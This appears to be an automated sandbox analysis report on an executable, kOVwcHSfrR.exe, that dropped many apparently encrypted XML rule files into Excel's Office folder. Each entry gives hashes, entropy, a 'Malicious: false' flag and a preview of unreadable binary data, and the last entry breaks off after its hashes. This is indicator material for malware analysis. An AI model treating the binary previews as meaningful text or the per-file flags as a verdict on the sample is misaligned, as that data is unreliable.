Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.741483999457324
Encrypted:	false
SSDEEP:	24:bIeiNtS8JpwGg+XNhrnxNFDdlhMSJHw1bD:Qq+pwGXhrn7FDnryD
MD5:	076268EBF216F9741E5FEFE356774D8E
SHA1:	E42B76D1BB02465B3B4AFA75F1D0250324A96CD9
SHA-256:	ED112A89D6DEF9C5A04701905D92440F220EAFF70659EB774D82A3A6CE829B9B
SHA-512:	AAB839711E50306127641D5A1ED0134344BE55733947B1048D95CDA82CD1C462E14656586ED64C281D25A7EEACDC06AE764C1D8845A4572300F7DB3B9C704C91
Malicious:	false
Preview:	<?xml....h......p.53..m..:.C.2\|?z.7....%,..5..3...U.)...t.J?..8n..-...&.n+...j..M>..:.....!.gK.......1....../.N.nh...v;.g(...[..}...F.SN.w...Z.+..I/..9..&.$9n.P(.......!.0....H4...c....y....7Wi..@s...~kP..^M..pf~..L.)#.R?.;4..KV..X;c6T...VB.[....0.."..A.F.S~.$@....W.x.]..r.}.1...V...&..<.v~..[.[...W(.Q.>.F..'..."].(T...g.!..{.......\].v.4..S....<...z...hX9.;.,...l......b..3...!YU.o....+@..x...2.....x.Ae..d...l....3...Z9.f...E.f.k.3.n..>...$.H\.h..F7.`=;q......l....mW..g. ....n...e.J._.H..)%`..&..\.v.~'W....9..2....U..c)h(.5........^....?r..C...........-...r'..........ii..,...nTd.U....n.'...g.......n'S.'.{.....#..l..`.j...5a}.oP7..Rv/.......(SE..Q.E.....X.g.B.Q..(.......EX%.3c...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.735526596539817
Encrypted:	false
SSDEEP:	12:sWmNdfZp9QshcTex9KLra7ojyG5miZpTWEyr1pzSZeFckvLcYOwqfoqw1cii9a:loeTS7ouG5moSb6ZesY0Pw1bD
MD5:	3CF1B4E876B258EE8ECE105E058F974B
SHA1:	99AFADD20048E069B4104D8CDCA8C1E8218C539B
SHA-256:	F5E929A87C87B3FB285B10CA87C0A0248CB5CBF55CCB40C0DEDDBC8694F6E8CD
SHA-512:	113055765FF1CE4E9E80E58F695D9D3EDF84E79E7859ED61029985381B329028D21F3CED8BD0FD3247A624C95E8ADC94D4C72E6683ECB0B68568B539D27EEF38
Malicious:	false
Preview:	<?xml...n.H.$...S.%...2....!\|p.....%.KP~...#.....3..;..9.1..U!.V.l........n3...n............L.Ri....c%.T...K....S...c2..a/Rn..l.....lT........6E...)6.pi.n6ZF...x..?...y.....k.}..c"...G../....L.$@{...y....~R8..1.k.,:k..pk..qc..7....y.......17..^f.......D..zL...5M.1.....70.+R..+.0.Vu.+. .ip^^ni+.#w{W.&..<&...!H.,.l4...C#......co...+/...O.........I.6...."....W.......:.S..^rE..q...{..,......n.$w...^.e....'.^.~...?..R......~>..s......U.VR.Gyt..w...y.Xs.H.5iY/OZ..N....-d...W.._,.M!..qOj.`V$.M+.U..w....T.w....+sh=...Fej.DBq.=..LT..N.........e.0...).3W..GaK.......\(DZ..?......>.Y.Ok..z...6..&A..{..\|.Y..b9........4.B...k.Bc.x....\|K.t.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7139159932310495
Encrypted:	false
SSDEEP:	12:fE7l0pAQc9vGLRBbtRHpyw4pTPeEKQNpB1sA+ca99oqsHoqw1cii9a:fEZQS+lzywGT8CpB++abovw1bD
MD5:	7B5790F1585323E15A637412F0BD8D0C
SHA1:	173D9F1E413D2560793B7158551DB43645ACA703
SHA-256:	4974B7E85D161EC47240A114D02AE27B2B4ED2E4ACFBF6A469AA00E0AD427EE4
SHA-512:	F6AAB1D7B00BE53E4DAFCD95351D433E02F783D93B93CF51725FDBCCC75823D7B4AEF8FAE5F5F8F12ECD72D2051F182C0CEA225091388922EA47561294161C6C
Malicious:	false
Preview:	<?xml.....R.z?fd.r...u_>.~.l,.sJ.....d.0..\.....j....1...+.(....y.K.......3...@_...<}.!...d.}.y.V.......c(....J....`.6.@.....i.R....<xk..:....?...b iY.llS...6....:'b..-eL.OO3MhH....[.8...8..A>H......}W5..o...q.@.....`Vv...E".k.Y$...>.1r._.O........b....BN...S..2............a..5...Q..C.H..vK\|.K0../.n..Q..y.5...'..V..&.f....$5$.e~.+..Y.&<...2..7..4p....&.j.2....s&.a*n.8.v...3.v...L......(..Q...a...{...$.Q.!....I..p.{.Q..(..V-U..j>Q`h.S.h},5.W...T..0....Sdl'9..b......>.u.."Y)C......B..a.E.....M...........!.\w@a.Q.....(..........-.........@....<...sQ"...v..Y...>..=.v.7.b.....)..X..-r}#n.X'...d...A.n5....=.!.\....RE..Z.\|....~...._L../B.yS......57U{..}..}....<..3<9......p.....<,...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.719706617437278
Encrypted:	false
SSDEEP:	12:sofYx5ef1qDZf2DXr+3bgk/w6XMgebF8wn0LusyEMMHwxHZJ/8P49g2soqw1ciik:/1fEkXr+Lgk/7XmUKT64t8R28w1bD
MD5:	2E8D188976048F9196195A19A81DFC47
SHA1:	AC69E68F1D4F997B526DC9FBEC9F2C184E4C08C1
SHA-256:	9CBBAF4B760BB51C1A1902FFF9AB18395FB5C9C4C3A785D2EA5EA9CEEB1F0CBB
SHA-512:	66A50FA30E8C1EB1FD1C115AB51BD9100642EE29AE76A70CF6FB45CD77B3F192ED4DC8E375CF25B5A74FC42A6F0D6B786A6ACAC70D7D599C38C8CC0A9C7A0449
Malicious:	false
Preview:	<?xml...M.....().8......f.....uF....BwS._./O....."..j...Kt.. 9[..s/N.xk.....::.q..c..'.CiQ..Dx....jwfGj..."...n!d.]....q....;.j.IG.vG.9c\|%....a...U..C.q....gHu......q.._Z<..J.^6......b....6.WF..S.n.n..#..Y....[...m..!mC.]wx.".....q.K~./.p.]s..x....Jf..Hr....?".i...2T..r.L.C..]t...X...F..wv..M.Wv.y.hV.....cq..K.o...i+'.....^.........!...Hk.....=.~`..(.(....=...M..r...Y......e..N.[.....)q)..Y..!........I.(...n...r.d...e.2IPx6......J..7.<..0.5..D~.]O.vl...\.D......n... ...3... ..4U.\|.....I.V..l.(....8...)...J6[d....P..n..-Y.t..'V......Vk>.i./.......K...._.{.!...F.$......5.BV.D...$.n)v....{...vAP/.\|...1..6....sBTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.735951235370097
Encrypted:	false
SSDEEP:	12:F4xzC5Hnub3/jZBXUnkEeZEM4zT0tkIzQq1Kt2OBdErR9EX7mnHXcpoqw1cii9a:XHub3/zSjOUUkIzQq12VBOrR9Ycuw1bD
MD5:	25BE422B00D343DD25D5B19A9961032F
SHA1:	E320F361971E2658E0AD477C0F1708F11F210456
SHA-256:	B8D0082CE705B5AC80F0AA0EA8428C2D16E7BD2C49ECE8DC3D2C4DEABCD64C11
SHA-512:	D63B67282B9D6798C4243E2A7EF0B5433410144B0B20D830CA502C28E3EA7CAAFA1D4D5FCA51D4CC763E52763FFA4C3A3ADB8A41520AA6BA2D72B7F4784DA217
Malicious:	false
Preview:	<?xml.....>.....Z...R.^].......L....B(..\.aoP....m..\.:~`....Rr.y.....f.squ.H.I.......T7......X..l..<\|.<../...G..TDr....~.&.Y..p!1..-.bN..X....E........Y.CDYe..3g..h......1.....(.....t1.~H.hMu..t....$..'...............@:...IY...;\.U!.h'......h#;.1...z...R."%...h'<.b...dY...k=..[.r..J9.<.nS...`k....#N"1..t...5%.=W....@+..t..c...;.i..p.z...?..GL........N(....."RM.."....S..&"....D!k...{.....7.~.j.Fo.......QR.V.\>....m.L.1...Kt..'9;.....AD......e..)..U Qk\...r/..v...E...4......... ..N.oy~.....fa.t....D-.y.$.}.\|.~....!L...7G.....0.[dFF...r..t.......'X..n.'H.z\|0..N..........w....D.._b..]..T#.k6.......c\|.~.:".k...Z...e...j.Ai.n.V..{B"q..j.....U..........Ya.5.(G. .TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.559229770755734
Encrypted:	false
SSDEEP:	12:+dV11sOTqVSjpleABuGp0FgEZ3SyGlHoqw1cii9a:+dv1sOTUqeAbugEZ3SVxw1bD
MD5:	F502D4E62D087277B2994D1501262B5C
SHA1:	52003893DC0E25B46AC58F72219D1E16ECE6D4B4
SHA-256:	A9DD946CE7D522249F808B0BEEE6163B6D95E49A4E9090320442B88AB262BEF0
SHA-512:	375D282C65C3EA653542A2D1E205ECC3EE4D95FAFDB816C6CC7C87B64B78366BA8773609BFB2E024AD338DC6266FA33A095E01D39DF52345EEB9F543F213D747
Malicious:	false
Preview:	<?xml....!e....I..;.6r.P..>..,.+..".y\|+.J.W......#Y>...J.....4...{8.'.~4.Vc"...X.e...K.....QR.&:A...l....._.,.........CC..\|7.R.o.oH....V...[........j...m.^..f.......zJD.L+.4.>./.l.....^P.............<..L.y..._.6.fF..C....&n..O...Fk.#..S.5..r.....4.K./..x...rI.Q.Y.{J.....;.JF.J%.Kj..?M=.....;.bq~...sb...0s..Q..U...4.`....V..B.........W.. ....n...60ft.....s...Q...m^...XE@...f..m.g...1..$./#W.U...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.914495575937067
Encrypted:	false
SSDEEP:	48:8BooFFZrAYqhpsSd3cRoNSj5MezPqMBZ389EnQKoAyD:8OozZ0YqXsV4SfsmQnAa
MD5:	5DE9E6687FD439021B789A3E30D646DF
SHA1:	A923838A12913BDB628EBA3DFA632CF8CB22A64D
SHA-256:	D63FAC8172A9F60DB181F04E5F2FF821DFE085E9654569B762BAC0677C53C840
SHA-512:	9D7D847104189DDA4E5E7DB2D66C50DCD586647F3B15B553B926D8560186C232C139117BCEAED46C433D5A17E7F9C64164702B0BC413947CD2D750634E41B2D3
Malicious:	false
Preview:	<?xml.I....%.w_...tDV}...#.T..q._.....j.J.."[7X~..FTcAp.R..Z..@.:(.T.0.G]...W....aOZ.$9..."\|..p....]...~=..<..._.?.n....T...vG.+.y=oA3C+z..s...B....,>8.<}.0A.i...`..}...@.\|......#[....yF.}......G.j..]3...,x.......j.q.........\...iY/k.C...2..X.GPe.C6'.w...+..C.s.&}.=....xz7.I1...C.....Gc..4..po..l.E..........(.if......\6...R.....P.;(.i.7_...............i"?..s.}2\....D.W}.j...../.........`..../...8....<g..`.+.>.;...3..;p9.......z3.....i.=.l..%.{H.n....1x...[[..~y`.g..L).S...d..@T...J.9\|~.V.....^>PM&:.)n[.#<.....~yTy..x6Wl.Fp$.......2.P......#.......f.)c.K.%.....;.1.........m....a....q:.K...mL>..'(..oZ=..^.,d../.B.dY.k=.'..Y+..c..h.^........_2.z. .L..z..E.wHbF.s...4.MN.....F.P9.`....M..9.K.`.!V...]....L..P....S".Y.....#...fC..A.^v.V.,Xu.e.N..JW.... ./Tl...b.o....z..1_.......:...By!.u}...Fg..[.........kn..[...G.Yib...i..u...~g^.v........r...(.jV.3........$.]..@.WYm4t....1...=..y....I..F.E.E.;.....wdV....K4.5...s..0..{.A.%c...x.y<B..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.853934320658097
Encrypted:	false
SSDEEP:	24:RrrEr1mU0NnWWbA7dHihtevKAx5XiUWfNN7wHeq8cQCFwdv5uD743Eyw1bD:NicNnW2swevH8fvED9wd5u8yD
MD5:	C28C7C7BD5AE1BFACAD51074B01FD63C
SHA1:	DF8641AA3E461AE09F7AF321C69478448097A89B
SHA-256:	072090B877BCFB98D26855064C5FB17DCF858EF5D29569AF6AA7B3B87DAFE80E
SHA-512:	EE66FD0350D0C8BB1FB626D772ADA712A15AD26563D8929C78575F4B1304E389622831EC1281AAC2AF7AEEAC677198711A8BEC46B9C85BB9B7307E8D822CCCD6
Malicious:	false
Preview:	<?xml9@-...,o..&..cP 1=.j.O.Y...L5-m...w.u..R..!..W.RE...{...W...p....,.;..........f.m...P........".8+OO....E..x.....L...U...].[-f.t..w.}..............b.Y...Z:..E).j.1...&KV.,...ds....jYm_..?.T...XI.H......p[...O.\.EO..yk.Y....2..A......=..LV.?.............\p2.`W...+....@Q....Z.K&...mEUFD...)?...=..6..r........2'...6.;.bt...."/.....Q...W......}.C...'...Q.P....... .qo.....~...P..K...6S..F.s...]..#.........%9....Z-c.7.._.h./[)C...I...%..t.....p..k..9......`...%"....va.]......v{......3(z.f...D..W.s(.q8g..V.$...{.1..w.^.....1G...+H..U.K...)...I)..%P.Fa..j.[>k....v.h.....>..eg!Q1..J..K..~....(...u..p..^...&....lR45...:.......xAi.....l8.3..g.C..........>.}T<........w.,'...;.:.^&v3..U......Xi........".[.I.........d.^....<.X..H...13H...$.n...F...4...mU...^..3.\...".2...mJv.1..UMdr......O.x.%(...C.a...'...=K..o.p.pu.a..`e..c....D.....cW......2.43z.3V.C.f.H...K.....8`.i..._...Q.C......9..+\|..j..H...e#.9.........o...=$...c....>..Di.0.t...fU..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.722480683463456
Encrypted:	false
SSDEEP:	24:SpdTzu7I2oR0/8w3L4N1BVutdkmR6UmDoYvV4Yw1bD:SpBzu7Pw0/8O4N1BVrmR6UWht4YyD
MD5:	DF4F404E38E4029DE1C7E9324FA5F7AB
SHA1:	450EB2A8A34BC85A7743E7BF481A4691AC90A273
SHA-256:	514D85E4ADD0664ED6BA8F2C1C7FE578B952ED42EA3DE3D9694992701D8C851E
SHA-512:	0894C852BF834C066B974C54CB78FE8077F28F9F9E16C667EFB062BAE522223867DA37C98056B96FDF6DCE67C73C518613A8B313AFEE00596A5FC9C193E4C28F
Malicious:	false
Preview:	<?xml.YZ.K.#Uf..8..@.R=P.Wg..MW.....W.....Z..eY.Fq^.0...fM....R-{.i.\|.lb...9aV....\|.m.}...w.#...V..bCPm.........K1 ...0r=f...B.)BZEG4N//....E...D...!B.....Dsb.:.`..d...\|..\|.....TI.....t....vo..D.....V.....+.:)<.N..Q..@..7.N...7Nt.)goD...p...\|.'o,i&eAU.EN...!.F8TW.V.....E[.q~.....IHGhx.Ym....S#O+..T.`U...]....C..#.{...+.3.}6..5X...v..zv....c.W.M..y.C..Rh.Jk..=..y...-...K...@=..L..PA(M]..1.h.....9A....K.n.....Y.d.......G.-...y../..q....r.,.#.......Ea..U.~r_..v.{.....aEI*.a.r....X.VT^..4.=. .9/sf>{.;U...6...A....q...UJyQ.../.y{f...f._.E...j`'P....3..'.O....!.Y.:.o.\|DT.. -x/R.Kt..._...........r..\|.\H...t' ..Oxh....A.E.v\...oi..f.f.U.b"P.n..R.:...{8?M...#.%.....U!%.a.8._..2..2...#.....3.V8\......~P\|..F%.6.V..R8TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.571522407065732
Encrypted:	false
SSDEEP:	12:JHg1OI9o4NdMcvKcvUh0M10DpJFdbhBKlZX6t2EBoqw1cii9a:J3odMcycy1SJFI/1Exw1bD
MD5:	FA9E3AD7FFFB413CD28AAF0FA8F69BE0
SHA1:	96CC085864A0341A1FD13A0CEB3A12BC125627D6
SHA-256:	72A840179B87C9E11B2E1EA46659D1EE4F3E3157051EE831663B82A04F8D3F75
SHA-512:	BAD0275D21934C327FF6B399669CF357905F2042B2AE69A88850090882DA62011FC8E3F5C8EACB8DCE25CF9D3CC3AE3E7B16DA06B53A667CDEB73435ABA4CF7D
Malicious:	false
Preview:	<?xml...@_.4O~4hM..P..f..-.=..%...<1^....Mh.,..B.2.9X.1K..k7_..,.F....^..4[D.&)V~iN6.P...u. .M.......;.1<.h...R..n..f......t5.>{ra..R..O.kM.m.......DI.dB[.dH..R..R.5xI..9&sw......>........1j'...kA\|.o*..DEcw=g...X.'.?.i..>..W.....B.?.].`l..:4Y!.\~..~.....Pf8...m.v"....M._...y.5.0#.....dX....\y..Z_.n:xZ.W...b;..!.{....q..1C....'..f>E9..;%3.sI7...y.^...r....~...5.c.K\|{. .``.gn.T..6..9..}..?....,u...P.)q.7..'eSn...%.......g..W:V...4.p>A....00......%!..mY.G.H...F...S.]&.d..RI....x.."......d\..(.,..2.......W...T....W.&.k.oQTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.741810312942311
Encrypted:	false
SSDEEP:	12:xYdzKHJe/+/ScvDXvZLGNH/KxtUAIlU2Af9QdrdB87KrkETDVrWeZQKEkGHNXoqa:K5+qeKiSlUrf9wrTYcdrWo0H5w1bD
MD5:	8EED4092B79805E3BD736144637AB778
SHA1:	15CE0FF474655629C73C9B442D3532B20688D99F
SHA-256:	D8117489FC5ADB979791632AC928599D5CD97A1864715CA6FE4B5D47D35D08EF
SHA-512:	80D1742342FFFE8D5D20CBFF3D36D950B8E995A89DD357EE979815236FC177759BE5758909A722B9D23F8089AEF70A4A326C25D152A2DECBBF7D033D244D311F
Malicious:	false
Preview:	<?xml._20...P.>8..3+.^.......C.o..#R}..ob...F.h..7#S..p.......!..2\.....po.G2......>H.h.!..[b.).l...0...5....E..{....[..,..gGRk...08m.t.............F_...S.......o.ei..r.B..s8V:4.._.b..n...'%yz.d!0....r....H,.C{.....{3\F.De.C..1=...0.9Y..AL..x ...X......,"........1.....mC.'.....?o{...=.o.g.....8W.C.. ......[.%.....<t.R6b.}..qc.f.G.].^X..8.&..k.....v.../...5..i....Ke.q2... .MI. P_............~.~......d8.u..m.].eB..N.<.....g/#].bU..ak..1a.j..kD...GLg.0.;.>cm0....u$<R3....\|1iq0OW.....z.I.7+c"}.v...r.NJM.._x.qQ.....q......W...RA...q....\|..E.q_1#P+...<..8.&..........M......4.S..9..,...f...2....}.....U..E.....................5...u...\.(?.y.)e....Yv.H.O........*..N\|."...n..o..>. .....L....w!c.25....g.d.^}..8[s`...[.......`[M.5TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.97363598102821
Encrypted:	false
SSDEEP:	192:LSO2oSjOZYGUOewRyrqsg4P+/B7XUmEpN1TFK6o:LB2JGpUFrmZ7XJsE6o
MD5:	53B0AE25FCFE9AA3EFE48801B2103DE0
SHA1:	FA584FC14D8DEB12C649B06DA684053DDF99F88D
SHA-256:	12BAB7B4503C71050D0D7CDA4B95A55A737A5F85392F3654B9C5FCC8218BD1E7
SHA-512:	09EBE4D01711A7B1C355194D8CEC9EE20945625A2FDD21724592E31C8A761413E64C6988E4F743B0E404B07A65B1768C06799D4F2178327BC7A2031AB2CF5E8A
Malicious:	false
Preview:	<?xmlT....c....z.u..:hwB.....W../%......S.R.x.g..,.....q.}.Vq.s2.e....gs...~..o.M.,.<..X.3...+Z..PV.......".:}R.k.gv.qu;.;..v....@.M.....~Gx.)m.$.!.k.......'n4...#.'J\K0..z...J....HN...R>M._y5.:.4,/..j..3...t.4m..'.Gu.....9uc...t.4e.Bn._L...{..9.^.0.wh..r......E..FLO.w..\|.H[.F.H.`aA.../.{0xd.$..T..v;.xHM...c....[..........V.,....x...G.l..X...Av..j.&W..z..}..D.......C.....z.AO.;6...N......y..}...E....>..i.WJ..Q.^....c.......I..\|.0...&........[.W..d..D.K3n.........X934.M....}!.QQ.43r..../t..5.....V.%.._^.G~...K7......W..)......Ic.#.[...Fy[.XN0.....r...O.A.....&._...q/m.....b-i.v.iT..^..uZ..S...{....z.xSN.. ....5..{\|?..@.ke.....Jk....k...F.B........\|......5..8.SR.o.....gI....%,..<......{N~E.....2D@Rb.r.......]f.......#I....Z.q.-nC..ID.dn.:...=...*. ..._.......N.r.Q..s.4/".~._pT.s..D.u......:y[.7..S.H.i.o......B$....:.+.O......6....Tj....o8..<.@_....%..Y..../B...M.n.il..M...L.}...:..>fGL..U..yCr.......>.{..;S...<)...\|.~).b..yA.T2..}mT...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.758160944813124
Encrypted:	false
SSDEEP:	24:L+7w77sWIVJY0hWQhV1YvAnvz8f/4sBnvj9N8uqhnbwr2w1bD:LiU7sDJY/4YvAvz8f/bBnrXuna2yD
MD5:	8BA171AFA74B2BFEA55A7B5C6D6380BD
SHA1:	0ADDC5949DF58230AC55C1CA9220514A85A50F39
SHA-256:	5CC7FF63DB1DAF21F4A8C229CEC2CDF54B0CFFEBE27DB9684ACD9B5B1726BE59
SHA-512:	9241E9C6CE12592683CCCC12CA067A7529BB882C1D4B445A415BFBF88FB4227429142DF1411407049F2523AC40340539F2835B99FCE69D6BA0BCB30417A73F02
Malicious:	false
Preview:	<?xml....I.XL......e...%..B8.I...f.2....H).$....eQ[.....G....D....:....U}.vA...f..E..^....{.....X..7...v..(<......<...cB..E..Xh....:.f.........3.6...'....aX.#I(..i._.3....%..N...04dZ.4.n...<V&c.....\.z..........V9.{.0..v.7U1..K3...\|..^m?......NT.C..d&XM......%....S..t..I..^....n.~./..<c.....d...:F.p;.:L.@G..1.q&dU..~R.Y..7..~~.HR..%..(..8.vT.l..D.=Z5M#>.).a.S:.U/..>.....B.o.d..0.....@.G...f.Nn.E%.xi[...".V.R.6..G..$...7.Db..Ik}.Sj..B...:.m...b..0~........q.'z...I.o....Gm?6..2.4n.6..$.).S.).`.-}....J...Y.2^.-g..d`;E.;.P..^K..M.......#.8.2=X.~pH]>.........F..Z..?I.=..u(.^Ml..+.l..P<3...U.....YZBd...I...P.k.J....o.V..'.t..../$d[..)p...........Nu.2...'.J.zG..;.......=\|...e.-"..1.:...FPm.bV..0...~.?BW...B...z..Z..CH..".dO...9.".h.....P..@v.%dlB[.8.C..O....k#..M... lK......._a.N@{..rgDR/T..m.gm...5 .1..%..sH.,.x5.~.X......I.9e.)...r>w.\|sv..;...G..T%.n.>......%....~E .j.d.. ..a..i..d./.<`..*.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.787379397958172
Encrypted:	false
SSDEEP:	24:1YfmOaNctd1DknsrX7QtRylVlzejHWtKM/SER7MDBC7Zw1bD:efmYtd5rX74W5A+37MD07ZyD
MD5:	8D412A662B1B139B6FA6E9117965F5BC
SHA1:	006674D158CC8FD49C309345EC1A6FAF43E810B5
SHA-256:	63EDEBE4EB3C5B5D76BB2C9C67DAD5B79D338180719584FE7183058F8F0D82C1
SHA-512:	966E61E1B906D10B98582598F4DE807A56A097416956A8985B0BE5FA0CD6B05B0A12A69BED6D1B2A9614CEEC0AD1AAC100F7C45BF1162438BA792399E69F1E50
Malicious:	false
Preview:	<?xml.1.....J0.7..12..^.R&.......}.>v.9..............4.R...3d(..gW.....YD.I.....x...>..W..ysD..d..P=y..7K5_...b....b..o.....X%..bKK.....6C1.3!...!.?$.....i......@.3w{V.(....pe..Z.N....VJ7Jt)..Vq.>.y..lM.....^.#_>`f.n$..g..<...i.)..L..0.K.)R..=....t..U.B.G....b./....z.."'....).3.iw...s..n3l.h.W..fg'..:g.....P...}..S...E..ii<a.t':..i.b'..w.... ...c.d....\|. ...C..Q...0..:... .......dzEp.^......U3.].?./w...A...RQ.8T....o................n....Y....T\.......8,...)..7......b{..n.....<.H`e_^...,3?kQjfF....x...-P(.1.7`...m..}6L.......W..#....j..U.!h.....u.....Q`......!/.G..b.oCwO?V;YQ...K..B.r....H.KJ.....cb.&..J.M1..N.Q....2..,...8..Z...'..l_...u_.M.u..v..uRF.u.'.8.O....w.4...r....{'f..gW.....3..#.JN....c..1=s..k..oO.Ks......RU..z...}MD4.-...`...'...>]..i\|...0?.5,.Oe..].\V2....pJ..}J.u,....-J...\F.3),.1......u.t>...5.4...Aq..R....v..P......n.^.R...!is.3....P$...P.".v......@f?i.x........^..1...w....k.*.x$TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAz

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.864248092329777
Encrypted:	false
SSDEEP:	24:whNltku1yXhJPB5d8hog5CKc2C5/FMdzBcNepOauqcjktntgAwb/Vhuw1bD:wYuYn/d8hoGrrbYNebXQkxSAwbN4yD
MD5:	A388DB029FBC644DAE80328171527E92
SHA1:	421456BB71100D14082804BE33186546D7127BEC
SHA-256:	DE9BDB045B1CD028582C09A069A220137C0F70666FD4366EE364D07DC7B0E239
SHA-512:	69F2D35A06AA578239D6A4C367D917AC06B3C54E3927B946C0D60E196BBD2DE1FFCCB4875C7484CE8FAB8CB6E8A786954EFFADA2B5A12CB12382BED394FC6D83
Malicious:	false
Preview:	<?xmlM.=UJA...q...]....~....&..!.n.....=.G3v.7...[.!.....SI.Z....a.3.c..Z.C.X..p.....m.F.5........r..b+g0......xO./..tqM$.'2.....Cq..O"....ti.(......'`.k}...5...=.....T...F..v\.f...P.........}..S...8.A...i.p..VM..k~U.j.9.......b;ph..;. ..?..0.m.3w.^C.@......]VS....%...).b.2.T.Y......V....".V>.=..eG@..C....x..x..]5<;`..@o......O....0.Vq..xr"...Z...\|.V5.MR.pAC.r!D..#c....&...."...g.L.N...5N.Y.,.zDc..Q...n7f...Y.W...~.:.....d....;z..v.s...7."...J]Z"...~.).....\<h.[..[.rs.._........wh..Wy#...X...x!....}.YT....Vw.T1T..(7.....u.u..R..s.D1...L`..XM...L.....#..3h..L..w.0".......J]ic..mW.e=.Z:R.M.R4.{e:K.N..C.......HE0c}.DU'i.0..1i..^.Bc.r.l......ukjfS..E..:.%..].^v..eu.?e \|........[.......'.K..6.j..-:.u;`\4.! $}..h.d/....1....C.aH............/.W..=..lXT.V.d?.....4....c[..n(..W...g..g..$..ih.^p..E#-.4..../........I.C;g..u, ....W.P...w....a.........x.._.......#Xwmb..4._.....@.....).!}`qkj..t....!s.K.q.<.fG..r.......v...j..;.u }]..#.x.........rM...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.787811473464798
Encrypted:	false
SSDEEP:	24:ZOiXIDrmJ/txwiZKcro+aP5nnDLmHy2H7nwYG6FB+2yQu6qnQViDw1bD:ZzIDrmJGcrovay2bnUYB1rVdIDyD
MD5:	5E9FBAD66CD4AE24BC82C9FF63646B83
SHA1:	9DE8BCB4FDF5B1A869F6B2C58B7F70D8545A65DA
